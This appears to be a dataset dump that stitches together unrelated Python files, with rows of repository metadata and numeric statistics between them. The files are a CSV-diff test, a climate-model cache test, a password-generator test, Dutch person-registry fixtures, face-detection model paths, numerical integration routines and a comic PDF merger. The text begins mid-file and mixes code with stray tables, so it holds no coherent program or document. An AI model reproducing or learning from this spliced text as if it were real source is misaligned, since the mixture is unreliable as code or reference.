with differences (!): 3 :-- Row Number Pairs -->: [(3, 4), (4, 5), (8, 7)]
''')
def test_show_all_and_number_of_cases_with_ignore_columns(lhs, rhs, capfd):
lhs.write(textwrap.dedent('''
head1, head2, head3, head4, head5, head6
1, value1-2, key2-2, 1002, 20210921T035902, value4-2
1, value1-3, key2-3, 1003, 20210921T035904, value4-3
102, value1-4, key2-1, 1004, 20210924T180521, value4-e
1003, value1-5, key2-1, 1005, 20210924T180528, value4-5
1003, value1-6, key2-2, 1006, 20210923T143259, value4-6
1003, value1-7, key2-3, 1007, 20210923T143258, value4-7
1003, value1-e, key2-4, 1008, 20210923T143259, value4-8
''').strip())
rhs.write(textwrap.dedent('''
head1, head2, head3, head4, head5, head6
1, value1-1, key2-1, 1001, 20210921T035901, value4-1
1, value1-2, key2-2, 1002, 20210921T035902, value4-2
1, value1-3, key2-3, 1003, 20210921T035903, value4-3
102, value1-4e, key2-1, 1044, 20210924T180529, value4-4
1003, value1-6, key2-2, 1006, 20210923T143259, value4-6
1003, value1-8, key2-4, 1008, 20210923T143257, value4-e
''').strip())
sys.argv = ['csvdiff.py', lhs.strpath, rhs.strpath, '-k0:4,2', '-avc', '-i1,4']
csvdiff.main()
out, err = capfd.readouterr()
assert err == ''
assert out == textwrap.dedent('''
============ Report ============
* All
--------------------------------------------------------------------------------
L left.csv
R right.csv
--------------------------------------------------------------------------------
> R 2 ['1', 'value1-1', 'key2-1', '1001', '20210921T035901', 'value4-1']
=
L 2 ['1', 'value1-2', 'key2-2', '1002', '20210921T035902', 'value4-2']
R 3 ['1', 'value1-2', 'key2-2', '1002', '20210921T035902', 'value4-2']
=
L 3 ['1', 'value1-3', 'key2-3', '1003', '20210921T035904', 'value4-3']
R 4 ['1', 'value1-3', 'key2-3', '1003', '20210921T035903', 'value4-3']
! @ [3, 5]
L 4 ['102', 'value1-4', 'key2-1', '1004', '20210924T180521', 'value4-e']
R 5 ['102', 'value1-4e', 'key2-1', '1044', '20210924T180529', 'value4-4']
< L 5 ['1003', 'value1-5', 'key2-1', '1005', '20210924T180528', 'value4-5']
=
L 6 ['1003', 'value1-6', 'key2-2', '1006', '20210923T143259', 'value4-6']
R 6 ['1003', 'value1-6', 'key2-2', '1006', '20210923T143259', 'value4-6']
< L 7 ['1003', 'value1-7', 'key2-3', '1007', '20210923T143258', 'value4-7']
! @ [5]
L 8 ['1003', 'value1-e', 'key2-4', '1008', '20210923T143259', 'value4-8']
R 7 ['1003', 'value1-8', 'key2-4', '1008', '20210923T143257', 'value4-e']
* Count & Row number
same lines : 3
left side only (<): 2 :-- Row Numbers -->: [5, 7]
right side only (>): 1 :-- Row Numbers -->: [2]
with differences (!): 2 :-- Row Number Pairs -->: [(4, 5), (8, 7)]
''')
| 47.043478
| 88
| 0.507252
| 1,714
| 14,066
| 4.144107
| 0.054259
| 0.07884
| 0.022526
| 0.033789
| 0.981416
| 0.981416
| 0.981416
| 0.981416
| 0.981416
| 0.981416
| 0
| 0.324943
| 0.245841
| 14,066
| 298
| 89
| 47.201342
| 0.344646
| 0
| 0
| 0.900383
| 0
| 0.229885
| 0.877338
| 0.056887
| 0
| 0
| 0
| 0
| 0.038314
| 1
| 0.019157
| false
| 0
| 0.011494
| 0
| 0.030651
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 11
|
57e87956d1bb1a91478b576c511b21588d55dcf2
| 8,612
|
py
|
Python
|
climateeconomics/tests/l2_test_witness_coarse_cache.py
|
os-climate/witness-core
|
3ef9a44d86804c5ad57deec3c9916348cb3bfbb8
|
[
"MIT",
"Apache-2.0",
"BSD-3-Clause"
] | 1
|
2022-01-14T06:37:42.000Z
|
2022-01-14T06:37:42.000Z
|
climateeconomics/tests/l2_test_witness_coarse_cache.py
|
os-climate/witness-core
|
3ef9a44d86804c5ad57deec3c9916348cb3bfbb8
|
[
"MIT",
"Apache-2.0",
"BSD-3-Clause"
] | null | null | null |
climateeconomics/tests/l2_test_witness_coarse_cache.py
|
os-climate/witness-core
|
3ef9a44d86804c5ad57deec3c9916348cb3bfbb8
|
[
"MIT",
"Apache-2.0",
"BSD-3-Clause"
] | null | null | null |
'''
Copyright 2022 Airbus SAS
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
'''
from sos_trades_core.execution_engine.execution_engine import ExecutionEngine
from climateeconomics.sos_processes.iam.witness.witness_coarse_optim_process.usecase_witness_optim_invest_distrib import Study as witness_proc_usecase
import unittest
from energy_models.core.energy_study_manager import DEFAULT_COARSE_TECHNO_DICT
from energy_models.core.energy_process_builder import INVEST_DISCIPLINE_OPTIONS
from gemseo.utils.compare_data_manager_tooling import compare_dict
class WitnessCoarseCache(unittest.TestCase):
def test_01_cache_on_witness_coarse_optim_with_unconverged_mda(self):
self.name = 'Test'
self.ee = ExecutionEngine(self.name)
builder = self.ee.factory.get_builder_from_process(
'climateeconomics.sos_processes.iam.witness', 'witness_coarse_optim_process', techno_dict=DEFAULT_COARSE_TECHNO_DICT,
invest_discipline=INVEST_DISCIPLINE_OPTIONS[1])
self.ee.factory.set_builders_to_coupling_builder(builder)
self.ee.configure()
usecase = witness_proc_usecase(
bspline=True, execution_engine=self.ee, techno_dict=DEFAULT_COARSE_TECHNO_DICT, invest_discipline=INVEST_DISCIPLINE_OPTIONS[1])
usecase.study_name = self.name
values_dict = usecase.setup_usecase()
full_values_dict = {}
for dict_v in values_dict:
full_values_dict.update(dict_v)
algo_options = {"ftol_rel": 3e-16,
"normalize_design_space": False,
"maxls": 2 * 55,
"maxcor": 55,
"pg_tol": 1.e-8,
"max_iter": 2,
"disp": 110}
full_values_dict['Test.WITNESS_MDO.algo_options'] = algo_options
full_values_dict['Test.WITNESS_MDO.WITNESS_Eval.warm_start'] = False
full_values_dict['Test.WITNESS_MDO.max_iter'] = 1
full_values_dict['Test.WITNESS_MDO.WITNESS_Eval.sub_mda_class'] = 'MDAGaussSeidel'
full_values_dict['Test.WITNESS_MDO.WITNESS_Eval.max_mda_iter'] = 1
# execute optim without cache and retrieve dm
self.ee.load_study_from_input_dict(full_values_dict)
self.ee.execute()
dm_without_cache = self.ee.dm.get_data_dict_values()
# execute optim with SimpleCache and retrieve dm
self.ee2 = ExecutionEngine(self.name)
builder = self.ee2.factory.get_builder_from_process(
'climateeconomics.sos_processes.iam.witness', 'witness_coarse_optim_process', techno_dict=DEFAULT_COARSE_TECHNO_DICT,
invest_discipline=INVEST_DISCIPLINE_OPTIONS[1])
self.ee2.factory.set_builders_to_coupling_builder(builder)
self.ee2.configure()
for cache_type_key in self.ee2.dm.get_all_namespaces_from_var_name('cache_type'):
full_values_dict[cache_type_key] = 'SimpleCache'
self.ee2.load_study_from_input_dict(full_values_dict)
self.ee2.execute()
dm_with_simple_cache = self.ee2.dm.get_data_dict_values()
# remove cache_type keys from dm_with_simple_cache and dm_without_cache
for cache_type_key in self.ee.dm.get_all_namespaces_from_var_name('cache_type') + self.ee.dm.get_all_namespaces_from_var_name('residuals_history'):
dm_with_simple_cache.pop(cache_type_key)
dm_without_cache.pop(cache_type_key)
optim_output_df_simple_cache = dm_with_simple_cache.pop(
'Test.WITNESS_MDO.WITNESS_Eval.FunctionsManager.optim_output_df')
optim_output_df_simple_cache = optim_output_df_simple_cache.iloc[-1].drop(
'iteration')
optim_output_df_without_cache = dm_without_cache.pop(
'Test.WITNESS_MDO.WITNESS_Eval.FunctionsManager.optim_output_df')
optim_output_df_without_cache = optim_output_df_without_cache.iloc[-1].drop(
'iteration')
# compare values in dm_with_simple_cache and dm_without_cache
dict_error = {}
compare_dict(dm_with_simple_cache,
dm_without_cache, '', dict_error)
self.assertDictEqual(dict_error, {})
self.assertTrue(optim_output_df_simple_cache.equals(
optim_output_df_without_cache))
def test_02_cache_on_witness_coarse_optim(self):
self.name = 'Test'
self.ee = ExecutionEngine(self.name)
builder = self.ee.factory.get_builder_from_process(
'climateeconomics.sos_processes.iam.witness', 'witness_coarse_optim_process', techno_dict=DEFAULT_COARSE_TECHNO_DICT,
invest_discipline=INVEST_DISCIPLINE_OPTIONS[1])
self.ee.factory.set_builders_to_coupling_builder(builder)
self.ee.configure()
usecase = witness_proc_usecase(
bspline=True, execution_engine=self.ee, techno_dict=DEFAULT_COARSE_TECHNO_DICT, invest_discipline=INVEST_DISCIPLINE_OPTIONS[1])
usecase.study_name = self.name
values_dict = usecase.setup_usecase()
full_values_dict = {}
for dict_v in values_dict:
full_values_dict.update(dict_v)
algo_options = {"ftol_rel": 3e-16,
"normalize_design_space": False,
"maxls": 2 * 55,
"maxcor": 55,
"pg_tol": 1.e-8,
"max_iter": 2,
"disp": 110}
full_values_dict['Test.WITNESS_MDO.algo_options'] = algo_options
full_values_dict['Test.WITNESS_MDO.WITNESS_Eval.warm_start'] = False
full_values_dict['Test.WITNESS_MDO.max_iter'] = 2
full_values_dict['Test.WITNESS_MDO.WITNESS_Eval.sub_mda_class'] = 'MDAGaussSeidel'
full_values_dict['Test.WITNESS_MDO.WITNESS_Eval.max_mda_iter'] = 10
# execute optim without cache and retrieve dm
self.ee.load_study_from_input_dict(full_values_dict)
self.ee.execute()
dm_without_cache = self.ee.dm.get_data_dict_values()
# execute optim with SimpleCache and retrieve dm
self.ee2 = ExecutionEngine(self.name)
builder = self.ee2.factory.get_builder_from_process(
'climateeconomics.sos_processes.iam.witness', 'witness_coarse_optim_process', techno_dict=DEFAULT_COARSE_TECHNO_DICT,
invest_discipline=INVEST_DISCIPLINE_OPTIONS[1])
self.ee2.factory.set_builders_to_coupling_builder(builder)
self.ee2.configure()
for cache_type_key in self.ee2.dm.get_all_namespaces_from_var_name('cache_type'):
full_values_dict[cache_type_key] = 'SimpleCache'
self.ee2.load_study_from_input_dict(full_values_dict)
self.ee2.execute()
dm_with_simple_cache = self.ee2.dm.get_data_dict_values()
# remove cache_type keys from dm_with_simple_cache and dm_without_cache
for cache_type_key in self.ee.dm.get_all_namespaces_from_var_name('cache_type') + self.ee.dm.get_all_namespaces_from_var_name('residuals_history'):
dm_with_simple_cache.pop(cache_type_key)
dm_without_cache.pop(cache_type_key)
optim_output_df_simple_cache = dm_with_simple_cache.pop(
'Test.WITNESS_MDO.WITNESS_Eval.FunctionsManager.optim_output_df')
optim_output_df_simple_cache = optim_output_df_simple_cache.iloc[-1].drop(
'iteration')
optim_output_df_without_cache = dm_without_cache.pop(
'Test.WITNESS_MDO.WITNESS_Eval.FunctionsManager.optim_output_df')
optim_output_df_without_cache = optim_output_df_without_cache.iloc[-1].drop(
'iteration')
# compare values in dm_with_simple_cache and dm_without_cache
dict_error = {}
compare_dict(dm_with_simple_cache,
dm_without_cache, '', dict_error)
self.assertDictEqual(dict_error, {})
self.assertTrue(optim_output_df_simple_cache.equals(
optim_output_df_without_cache))
if '__main__' == __name__:
cls = WitnessCoarseCache()
# cls.test_01_cache_on_witness_coarse_optim_with_unconverged_mda()
cls.test_02_cache_on_witness_coarse_optim()
| 46.551351
| 155
| 0.710752
| 1,137
| 8,612
| 4.953386
| 0.16095
| 0.042614
| 0.049716
| 0.036222
| 0.855291
| 0.846058
| 0.846058
| 0.83505
| 0.83505
| 0.823864
| 0
| 0.011041
| 0.211217
| 8,612
| 184
| 156
| 46.804348
| 0.818048
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| 0
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| 0
| 0
| 0.156644
| 0.123457
| 0
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| 0
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| 0.031746
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| 0.015873
| false
| 0
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| 0
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| 0
| null | 0
| 0
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| 1
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| null | 0
| 0
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| 0
| 0
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| 0
| 0
| 0
|
0
| 7
|
17badfd81e29e503faf6a006f9848041fb5d1d5b
| 224
|
py
|
Python
|
projects/password-generator/test_password_generator.py
|
duttashi/learnpy
|
c08b76b173b06d66187e51a6939d55d5dd12cb5a
|
[
"MIT"
] | null | null | null |
projects/password-generator/test_password_generator.py
|
duttashi/learnpy
|
c08b76b173b06d66187e51a6939d55d5dd12cb5a
|
[
"MIT"
] | 77
|
2019-04-20T06:54:19.000Z
|
2022-01-16T08:15:20.000Z
|
projects/password-generator/test_password_generator.py
|
duttashi/learnpy
|
c08b76b173b06d66187e51a6939d55d5dd12cb5a
|
[
"MIT"
] | null | null | null |
# -*- coding: utf-8 -*-
"""
Created on Tue Aug 24 11:53:24 2021
@author: Ashoo
"""
from password_generator import generate_simple_password
def test_generate_simple_password():
assert generate_simple_password()=='abcd'
| 20.363636
| 55
| 0.741071
| 31
| 224
| 5.096774
| 0.741935
| 0.265823
| 0.417722
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.06701
| 0.133929
| 224
| 11
| 56
| 20.363636
| 0.747423
| 0.330357
| 0
| 0
| 1
| 0
| 0.027972
| 0
| 0
| 0
| 0
| 0
| 0.333333
| 1
| 0.333333
| true
| 1
| 0.333333
| 0
| 0.666667
| 0
| 0
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 0
| 0
| 0
|
0
| 7
|
17dcd86dc888040d29dac313a0fe6dd4e5bc20ac
| 3,883
|
py
|
Python
|
src/openpersonen/api/tests/test_data/kind.py
|
maykinmedia/open-personen
|
ddcf083ccd4eb864c5305bcd8bc75c6c64108272
|
[
"RSA-MD"
] | 2
|
2020-08-26T11:24:43.000Z
|
2021-07-28T09:46:40.000Z
|
src/openpersonen/api/tests/test_data/kind.py
|
maykinmedia/open-personen
|
ddcf083ccd4eb864c5305bcd8bc75c6c64108272
|
[
"RSA-MD"
] | 153
|
2020-08-26T10:45:35.000Z
|
2021-12-10T17:33:16.000Z
|
src/openpersonen/api/tests/test_data/kind.py
|
maykinmedia/open-personen
|
ddcf083ccd4eb864c5305bcd8bc75c6c64108272
|
[
"RSA-MD"
] | null | null | null |
KIND_RETRIEVE_DATA = {
"_embedded": {
"naam": {
"_embedded": {
"inOnderzoek": {
"_embedded": {
"datumIngangOnderzoek": {
"dag": None,
"datum": None,
"jaar": None,
"maand": None,
}
},
"geslachtsnaam": False,
"voornamen": False,
"voorvoegsel": False,
}
},
"geslachtsnaam": "Maykin Kind",
"voorletters": "K",
"voornamen": "Media Kind",
"voorvoegsel": "van",
},
"geboorte": {
"_embedded": {
"datum": {"dag": 15, "datum": "1999-06-15", "jaar": 1999, "maand": 6},
"land": {"code": "6030", "omschrijving": "Nederland"},
"plaats": {"code": "624", "omschrijving": "Amsterdam"},
"inOnderzoek": {
"_embedded": {
"datumIngangOnderzoek": {
"dag": None,
"datum": None,
"jaar": None,
"maand": None,
}
},
"datum": False,
"land": False,
"plaats": False,
},
}
},
"inOnderzoek": {
"_embedded": {
"datumIngangOnderzoek": {
"dag": None,
"datum": None,
"jaar": None,
"maand": None,
}
},
"burgerservicenummer": False,
},
},
"burgerservicenummer": "456789123",
"geheimhoudingPersoonsgegevens": True,
"leeftijd": 21,
}
KIND_RETRIEVE_DATA_NO_DATES = {
"_embedded": {
"naam": {
"_embedded": {
"inOnderzoek": {
"_embedded": {
"datumIngangOnderzoek": {
"dag": None,
"datum": None,
"jaar": None,
"maand": None,
}
},
"geslachtsnaam": False,
"voornamen": False,
"voorvoegsel": False,
}
},
"geslachtsnaam": "Maykin Kind",
"voorletters": "K",
"voornamen": "Media Kind",
"voorvoegsel": "van",
},
"geboorte": {
"_embedded": {
"datum": {"dag": None, "datum": None, "jaar": None, "maand": None},
"land": {"code": "6030", "omschrijving": "Nederland"},
"plaats": {"code": "624", "omschrijving": "Amsterdam"},
"inOnderzoek": {
"_embedded": {
"datumIngangOnderzoek": {
"dag": None,
"datum": None,
"jaar": None,
"maand": None,
}
},
"datum": False,
"land": False,
"plaats": False,
},
}
},
"inOnderzoek": {
"_embedded": {
"datumIngangOnderzoek": {
"dag": None,
"datum": None,
"jaar": None,
"maand": None,
}
},
"burgerservicenummer": False,
},
},
"burgerservicenummer": "456789123",
"geheimhoudingPersoonsgegevens": True,
"leeftijd": 0,
}
| 32.090909
| 86
| 0.321659
| 184
| 3,883
| 6.690217
| 0.233696
| 0.0658
| 0.068237
| 0.090983
| 0.942323
| 0.942323
| 0.942323
| 0.942323
| 0.917953
| 0.917953
| 0
| 0.02849
| 0.54803
| 3,883
| 120
| 87
| 32.358333
| 0.672934
| 0
| 0
| 0.694915
| 0
| 0
| 0.260108
| 0.014937
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
17eab284b42bad5abb870d846b8665fb35887fea
| 1,019
|
py
|
Python
|
cam/models.py
|
4the1appdevs/face_recognition
|
d69d387f6e7bca45eeb15107f67b9c305c6082d0
|
[
"Apache-2.0"
] | 1
|
2021-04-01T05:37:54.000Z
|
2021-04-01T05:37:54.000Z
|
cam/models.py
|
Jzhenli/face_recognition
|
d69d387f6e7bca45eeb15107f67b9c305c6082d0
|
[
"Apache-2.0"
] | null | null | null |
cam/models.py
|
Jzhenli/face_recognition
|
d69d387f6e7bca45eeb15107f67b9c305c6082d0
|
[
"Apache-2.0"
] | 1
|
2021-04-02T00:49:55.000Z
|
2021-04-02T00:49:55.000Z
|
# -*- coding: utf-8 -*-
#from pkg_resources import resource_filename
class dlib_model:
def pose_predictor_model_location():
return "./models/dlib/shape_predictor_68_face_landmarks.dat"
def pose_predictor_five_point_model_location():
return "./models/dlib/shape_predictor_5_face_landmarks.dat"
def face_recognition_model_location():
return "./models/dlib/dlib_face_recognition_resnet_model_v1_for_asian.dat"
def cnn_face_detector_model_location():
return "./models/dlib/mmod_human_face_detector.dat"
class opencv_model:
def caff_model_location():
return "./models/opencv/res10_300x300_ssd_iter_140000_fp16.caffemodel"
def caff_cfgfile_location():
return "./models/opencv/deploy.prototxt"
def tensorflow_model_location():
return "./models/opencv/opencv_face_detector_uint8.pb"
def tensorflow_cfgfile_location():
return "./models/opencv/opencv_face_detector.pbtxt"
class classifier_model:
def classifier_location():
return "./models/classifier/face_classifier.pkl"
| 28.305556
| 79
| 0.792934
| 134
| 1,019
| 5.597015
| 0.395522
| 0.168
| 0.24
| 0.2
| 0.410667
| 0.232
| 0.232
| 0
| 0
| 0
| 0
| 0.024149
| 0.105986
| 1,019
| 35
| 80
| 29.114286
| 0.799122
| 0.062807
| 0
| 0
| 0
| 0
| 0.447479
| 0.447479
| 0
| 0
| 0
| 0
| 0
| 1
| 0.428571
| true
| 0
| 0
| 0.428571
| 1
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 1
| 1
| 0
|
0
| 7
|
a4d892ac5743c151802808a49cc47189c4331a83
| 127
|
py
|
Python
|
python/orp/orp/authority_ner/__init__.py
|
UKGovernmentBEIS/open-regulation-platform-alpha
|
c1170fc7d9563cbdeda094df87c606ad622bfcf2
|
[
"MIT"
] | null | null | null |
python/orp/orp/authority_ner/__init__.py
|
UKGovernmentBEIS/open-regulation-platform-alpha
|
c1170fc7d9563cbdeda094df87c606ad622bfcf2
|
[
"MIT"
] | null | null | null |
python/orp/orp/authority_ner/__init__.py
|
UKGovernmentBEIS/open-regulation-platform-alpha
|
c1170fc7d9563cbdeda094df87c606ad622bfcf2
|
[
"MIT"
] | null | null | null |
#from .extractAuthorities import extract_entities_from_string
from .new_extractAuthorities import extract_entities_from_string
| 42.333333
| 64
| 0.913386
| 15
| 127
| 7.266667
| 0.466667
| 0.440367
| 0.568807
| 0.715596
| 0.899083
| 0.899083
| 0
| 0
| 0
| 0
| 0
| 0
| 0.062992
| 127
| 2
| 65
| 63.5
| 0.915966
| 0.472441
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 9
|
a4e44dc3b4b36a167f2e654d5430d65856bc9e0e
| 635
|
py
|
Python
|
labs/6/py/integrate.py
|
Sky-Nik/numerical-analysis
|
97e1ab4ee8737e2eaba91084f8775089f13ec4dd
|
[
"MIT"
] | 1
|
2019-05-19T08:08:41.000Z
|
2019-05-19T08:08:41.000Z
|
labs/6/py/integrate.py
|
csc-knu/numerical-analysis
|
97e1ab4ee8737e2eaba91084f8775089f13ec4dd
|
[
"MIT"
] | 4
|
2018-09-02T05:48:27.000Z
|
2018-09-02T06:02:22.000Z
|
labs/6/py/integrate.py
|
Sky-Nik/numerical-analysis
|
97e1ab4ee8737e2eaba91084f8775089f13ec4dd
|
[
"MIT"
] | 2
|
2021-05-21T09:12:51.000Z
|
2021-06-16T01:06:12.000Z
|
#!/usr/bin/env python
import numpy as np
from typing import Callable
def rectangle(a: float, b: float, f: Callable[[np.array], np.array],
h: float) -> float:
return h * np.sum(f(np.arange(a + h / 2, b + h / 2, h)))
def trapezoid(a: float, b: float, f: Callable[[np.array], np.array],
h: float) -> float:
return h / 2 * (f(a) + 2 * np.sum(f(np.arange(a + h, b, h))) + f(b))
def simpson(a: float, b: float, f: Callable[[np.array], np.array],
h: float) -> float:
return h / 6 * (f(a) + 2 * np.sum(f(np.arange(a + h, b, h))) +
4 * np.sum(f(np.arange(a + h / 2, b + h / 2, h))) + f(b))
| 31.75
| 72
| 0.532283
| 118
| 635
| 2.864407
| 0.228814
| 0.12426
| 0.071006
| 0.094675
| 0.718935
| 0.718935
| 0.718935
| 0.718935
| 0.718935
| 0.718935
| 0
| 0.018947
| 0.251969
| 635
| 19
| 73
| 33.421053
| 0.692632
| 0.031496
| 0
| 0.25
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.25
| false
| 0
| 0.166667
| 0.25
| 0.666667
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 8
|
1038e5fd93dc6f7990303f2f97a305ac7488d629
| 5,934
|
py
|
Python
|
comicMaker/makeFullPdf.py
|
Gunjan933/comicMaker
|
9e10f8bc7d1b9c9ad6af271ca7a01fb03b26c6ee
|
[
"MIT"
] | 3
|
2019-09-03T14:27:28.000Z
|
2021-03-04T04:23:38.000Z
|
comicMaker/makeFullPdf.py
|
Gunjan933/comicMaker
|
9e10f8bc7d1b9c9ad6af271ca7a01fb03b26c6ee
|
[
"MIT"
] | null | null | null |
comicMaker/makeFullPdf.py
|
Gunjan933/comicMaker
|
9e10f8bc7d1b9c9ad6af271ca7a01fb03b26c6ee
|
[
"MIT"
] | 2
|
2019-06-18T04:21:28.000Z
|
2021-08-17T18:24:20.000Z
|
import shutil,os,os.path
from PyPDF2 import PdfFileMerger
class makeFullPdf:
def mangaLike(comicBook):
print(" Merging all pdf's, please wait!")
for file in os.listdir("."):
if file.endswith(".pdf"):
os.remove(os.path.join(".", file))
pdflist=[]
for dirpath, dirnames, filenames in os.walk('.'):
for filename in [f for f in filenames if f.endswith(".pdf")]:
address=os.path.join(dirpath, filename)
if os.stat(address).st_size!=0:
pdflist.append(filename)
#print(address)
shutil.copy( address, '.')
try:
sortedpdf=[]
sortedlist=[]
for i in pdflist:
temp=float((i[i.find("Chapter-")+8 : i.find(".pdf")]).replace('-','.'))
sortedlist.append(temp)
sortedlist.sort()
for i in sortedlist:
sortedpdf.append("Chapter"+"-"+((str(i)).replace('.','-')).replace('-0','')+".pdf")
#print(sortedpdf)
merger = PdfFileMerger()
for pdf in sortedpdf:
merger.append(pdf)
fd = None
try:
fd = open(comicBook+".pdf", 'wb')
merger.write(fd)
finally:
fd.close()
merger.close()
for pdf in sortedpdf:
os.remove(pdf)
print(" "+comicBook+".pdf saved!")
except:
print(" Error while creating"+comicBook+"!")
if os.path.exists(comicBook+".pdf"):
os.remove(comicBook+".pdf")
def readComicOnlineTo(comicBook):
print(" Merging all pdf's, please wait!")
for file in os.listdir("."):
if file.endswith(".pdf"):
os.remove(os.path.join(".", file))
pdflist=[]
for dirpath, dirnames, filenames in os.walk('.'):
for filename in [f for f in filenames if f.endswith(".pdf") and f.startswith("Issue")]:
address=os.path.join(dirpath, filename)
if os.stat(address).st_size!=0:
pdflist.append(filename)
#print(address)
shutil.copy( address, '.')
try:
# print(pdflist)
sortedpdf=[]
sortedlist=[]
for i in pdflist:
try:
temp=float((i[i.find("Issue-")+6 : i.find(".pdf")]).replace('-','.'))
sortedlist.append(temp)
except:
pass
sortedlist.sort()
for i in sortedlist:
sortedpdf.append("Issue"+"-"+((str(i)).replace('.','-')).replace('-0','')+".pdf")
#print(sortedpdf)
merger = PdfFileMerger()
for pdf in sortedpdf:
merger.append(pdf)
fd = None
try:
fd = open(comicBook+".pdf", 'wb')
merger.write(fd)
finally:
fd.close()
merger.close()
for pdf in sortedpdf:
os.remove(pdf)
print(" "+comicBook+".pdf saved!")
except:
# print(" Error while creating"+comicBook+"!")
if os.path.exists(comicBook+".pdf"):
os.remove(comicBook+".pdf")
raise
def readComicsOnlineRu(comicBook):
print(" Merging all pdf's, please wait!")
for file in os.listdir("."):
if file.endswith(".pdf"):
os.remove(os.path.join(".", file))
pdflist=[]
for dirpath, dirnames, filenames in os.walk('.'):
for filename in [f for f in filenames if f.endswith(".pdf")]:
address=os.path.join(dirpath, filename)
if os.stat(address).st_size!=0:
pdflist.append(filename)
#print(address)
shutil.copy( address, '.')
try:
sortedpdf=[]
sortedlist=[]
# len(pdflist)
for i in pdflist:
# print(i[: i.find(".pdf")])
# temp=((i[: i.find(".pdf")]))
# print(temp.replace('_','.'))
try:
temp=float((i[: i.find(".pdf")]).replace('-','.'))
sortedlist.append(temp)
except:
pass
# return
sortedlist.sort()
# print(sortedlist)
for i in sortedlist:
sortedpdf.append(((str(i)).replace('.','-')).replace('-0','')+".pdf")
# print(sortedpdf)
merger = PdfFileMerger()
for pdf in sortedpdf:
merger.append(pdf)
fd = None
try:
fd = open(comicBook+".pdf", 'wb')
merger.write(fd)
finally:
fd.close()
merger.close()
for pdf in sortedpdf:
os.remove(pdf)
print(" "+comicBook+".pdf saved!")
except:
print(" Error while creating"+comicBook+"!")
if os.path.exists(comicBook+".pdf"):
os.remove(comicBook+".pdf")
raise
def comicExtra(comicBook):
print(" Merging all pdf's, please wait!")
for file in os.listdir("."):
if file.endswith(".pdf"):
os.remove(os.path.join(".", file))
pdflist=[]
for dirpath, dirnames, filenames in os.walk('.'):
for filename in [f for f in filenames if f.endswith(".pdf")]:
try:
# print(filename[filename.find("Chapter-")+8:].replace('-','.'))
temp=float((filename[filename.find("Chapter-")+8: filename.find(".pdf")]).replace('-','.'))
address=os.path.join(dirpath, filename)
if os.stat(address).st_size!=0:
pdflist.append(filename)
# print(address)
shutil.copy( address, '.')
except:
pass
# raise
try:
sortedpdf=[]
sortedlist=[]
# len(pdflist)
for i in pdflist:
# print(i[: i.find(".pdf")])
# temp=((i[: i.find(".pdf")]))
# print(temp.replace('_','.'))
try:
temp=float((i[i.find("Chapter-")+8: i.find(".pdf")]).replace('-','.'))
sortedlist.append(temp)
except:
pass
# return
sortedlist.sort()
# print(sortedlist)
for i in sortedlist:
sortedpdf.append("Chapter"+"-"+((str(i)).replace('.','-')).replace('-0','')+".pdf")
# print(sortedpdf)
merger = PdfFileMerger()
for pdf in sortedpdf:
merger.append(pdf)
fd = None
try:
fd = open(comicBook+".pdf", 'wb')
merger.write(fd)
finally:
fd.close()
merger.close()
for pdf in sortedpdf:
os.remove(pdf)
print(" "+comicBook+".pdf saved!")
except:
print(" Error while creating"+comicBook+"!")
if os.path.exists(comicBook+".pdf"):
os.remove(comicBook+".pdf")
raise
# os.chdir("..")
# os.chdir("..")
# dire="comicDownloads\\spider-man-2016"
# os.chdir(dire)
# makeFullPdf.comicExtra("spider-man-2016")
| 27.345622
| 96
| 0.576508
| 723
| 5,934
| 4.723375
| 0.116183
| 0.056223
| 0.025769
| 0.039824
| 0.906881
| 0.890483
| 0.872035
| 0.872035
| 0.854758
| 0.841581
| 0
| 0.004817
| 0.230367
| 5,934
| 217
| 97
| 27.345622
| 0.742938
| 0.105662
| 0
| 0.923529
| 0
| 0
| 0.094336
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.023529
| false
| 0.023529
| 0.011765
| 0
| 0.041176
| 0.064706
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
